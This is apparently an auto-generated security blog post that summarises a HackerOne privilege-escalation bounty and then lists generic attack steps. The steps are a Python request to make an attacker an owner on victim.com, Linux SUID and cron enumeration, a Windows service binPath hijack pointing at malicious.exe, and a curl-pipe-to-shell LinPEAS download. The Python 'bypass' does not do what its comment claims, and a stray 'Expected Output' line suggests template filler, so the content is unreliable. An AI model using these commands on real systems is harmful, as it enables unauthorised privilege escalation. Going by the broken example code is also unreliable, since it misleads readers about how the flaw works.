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Rahmat Hidayat, a top-ranked bug bounty hunter, recently disclosed a critical privilege escalation vulnerability that earned him a $2000 bounty on HackerOne. The flaw allowed a member to escalate privileges to an owner by bypassing a 400 Bad Request error through a specific action (“X”).
Read the full write-up here:
👉 HackerOne Privilege Escalation Write-up
You Should Know: Privilege Escalation Techniques & Prevention
1. Understanding HTTP 400 Bypass
A 400 Bad Request error typically occurs due to malformed client-side input. However, improper server-side validation can allow attackers to manipulate requests and bypass restrictions.
Example Exploit (Python Request Bypass):
import requests
target_url = "https://victim.com/api/add_owner"
headers = {"Authorization": "Bearer member_token"}
payload = {"user_id": "attacker", "role": "owner"}
Bypass 400 by altering request structure
response = requests.post(target_url, json=payload, headers=headers)
print(response.status_code, response.text)
2. Linux Privilege Escalation Commands
If you gain initial access, use these Linux commands to escalate privileges:
Check sudo permissions sudo -l Find SUID binaries find / -perm -4000 2>/dev/null Exploit writable cron jobs ls -la /etc/cron cat /etc/crontab
3. Windows Privilege Escalation
For Windows systems, try:
Check user privileges whoami /priv Find unquoted service paths wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows" Exploit weak service permissions sc qc VulnService sc config VulnService binPath= "C:\malicious.exe"
4. Defensive Measures
- Input Validation: Sanitize all API requests.
- Role-Based Access Control (RBAC): Enforce strict permission checks.
- Logging & Monitoring: Detect abnormal privilege changes.
What Undercode Say
Privilege escalation remains a top attack vector in cybersecurity. Always:
– Test APIs for logic flaws.
– Audit Linux/Windows permissions regularly.
– Use tools like `LinPEAS` (Linux) and `WinPEAS` (Windows) for automated escalation checks.
Final Commands for Security Checks:
Linux: Download & run LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh Windows: Run WinPEAS .\winpeas.exe
Expected Output:
A detailed analysis of privilege escalation vulnerabilities, including bypass techniques, exploitation commands, and defensive strategies.
🔗 Reference:
References:
Reported By: Rahmat Hidayat – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
